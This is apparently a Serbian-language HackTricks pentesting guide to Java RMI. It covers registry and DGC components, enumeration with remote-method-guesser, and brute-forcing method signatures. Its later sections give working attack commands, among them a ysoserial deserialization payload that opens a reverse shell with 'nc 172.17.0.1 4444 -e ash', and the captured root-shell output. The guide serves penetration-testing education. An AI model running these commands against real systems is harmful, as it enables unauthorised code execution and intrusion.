1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Osnovne informacije

Java Remote Method Invocation, ili Java RMI, je mehanizam objektno orijentisanog RPC-a koji omogućava objektu smeštenom u jednoj Java virtuelnoj mašini da poziva metode na objektu smeštenom u drugoj Java virtuelnoj mašini. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektno orijentisan paradigmu. Kratak uvod u Java RMI sa ofanzivne perspektive može se pronaći u ovom blackhat govoru.

Podrazumevani portovi: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Obično su samo podrazumevane komponente Java RMI (RMI registar i Aktivacioni sistem) vezane za zajedničke portove. Udaljeni objekti koji implementiraju stvarnu RMI aplikaciju obično su vezani za nasumične portove, kao što je prikazano u prethodnom izlazu.

nmap ponekad ima problema sa identifikacijom SSL zaštićenih RMI servisa. Ako naiđete na nepoznat ssl servis na zajedničkom RMI portu, trebalo bi dalje istražiti.

RMI Komponente

Da bismo to pojednostavili, Java RMI omogućava programeru da učini Java objekat dostupnim na mreži. To otvara TCP port na kojem klijenti mogu da se povežu i pozivaju metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoje nekoliko izazova koje Java RMI mora da reši:

  1. Da bi prosledili poziv metode putem Java RMI, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i ObjID ciljanog objekta (ObjID je jedinstveni i nasumični identifikator koji se kreira kada je objekat dostupan na mreži. Potreban je jer Java RMI omogućava više objekata da slušaju na istom TCP portu).

  2. Udaljeni klijenti mogu dodeliti resurse na serveru pozivajući metode na izloženom objektu. Java virtuelna mašina mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti sakupljeni smećem.

Prvi izazov rešava RMI registar, koji je u osnovi servis za imenovanje za Java RMI. Sam RMI registar takođe je RMI servis, ali implementirani interfejs i ObjID su fiksni i poznati svim RMI klijentima. To omogućava RMI klijentima da koriste RMI registar samo znajući odgovarajući TCP port.

Kada programeri žele da njihovi Java objekti budu dostupni unutar mreže, obično ih vežu za RMI registar. Registar čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost ObjID) i čini ih dostupnim pod ljudski čitljivim imenom (vezano ime). Klijenti koji žele da koriste RMI servis traže od RMI registra odgovarajuće vezano ime, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je u osnovi ista kao sa običnim DNS servisom. Sledeći prikazuje mali primer:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Drugi od pomenutih izazova rešava se preko Distribuiranog sakupljača smeća (DGC). Ovo je još jedna RMI usluga sa dobro poznatom vrednošću ObjID i dostupna je na praktično svakom RMI krajnjem tačkom. Kada RMI klijent počne da koristi RMI uslugu, šalje informaciju DGC-u da odgovarajući udaljeni objekat bude u upotrebi. DGC može pratiti broj referenci i može očistiti nekorišćene objekte.

Zajedno sa zastarelim Aktivacionim sistemom, ovo su tri podrazumevana komponente Java RMI-ja:

  1. RMI Registar (ObjID = 0)

  2. Aktivacioni sistem (ObjID = 1)

  3. Distribuirani sakupljač smeća (ObjID = 2)

Podrazumevane komponente Java RMI-ja poznate su kao vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama Java-e. Sa perspektive napadača, ove podrazumevane komponente su interesantne, jer su implementirane poznate klase / interfejsi i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene RMI usluge. Da biste pozvali metod na udaljenom objektu, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa RMI uslugom.

Enumeracija RMI

remote-method-guesser je alat za skeniranje ranjivosti Java RMI-ja koji je sposoban da automatski identifikuje uobičajene RMI ranjivosti. Svaki put kada identifikujete RMI krajnju tačku, trebalo bi da probate:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Izlaz akcije enumeracije je objašnjen detaljnije na stranicama dokumentacije projekta. U zavisnosti od rezultata, trebalo bi da pokušate da potvrdite identifikovane ranjivosti.

Vrednosti ObjID prikazane od strane remote-method-guesser mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Metode

Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne RMI usluge i dalje mogu otkriti opasne funkcije. Štaviše, iako je komunikacija RMI prema podrazumevanim komponentama zaštićena filterima za deserializaciju, kada se radi sa prilagođenim RMI uslugama, takvi filteri obično nisu na snazi. Poznavanje validnih potpisa metoda na RMI uslugama stoga je od vrednosti.

Nažalost, Java RMI ne podržava enumeraciju metoda na udaljenim objektima. Ipak, moguće je probati potpise metoda pomoću alatki poput remote-method-guesser ili rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identifikovane metode mogu se pozvati na sledeći način:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ili možete izvršiti napade de-serijalizacije na ovaj način:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Više informacija možete pronaći u ovim člancima:

Pored pogađanja, takođe treba da pretražite pretraživače ili GitHub za interfejs ili čak implementaciju naiđenog RMI servisa. Bound name i ime implementovane klase ili interfejsa mogu biti od pomoći ovde.

Poznati interfejsi

remote-method-guesser označava klase ili interfejse kao poznate ako su navedeni u internoj bazi podataka poznatih RMI servisa alata. U tim slučajevima možete koristiti akciju poznato da biste dobili više informacija o odgovarajućem RMI servisu:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Alati

Reference

HackTricks Automatske Komande

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice na svetu. Dobijte pristup danas:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated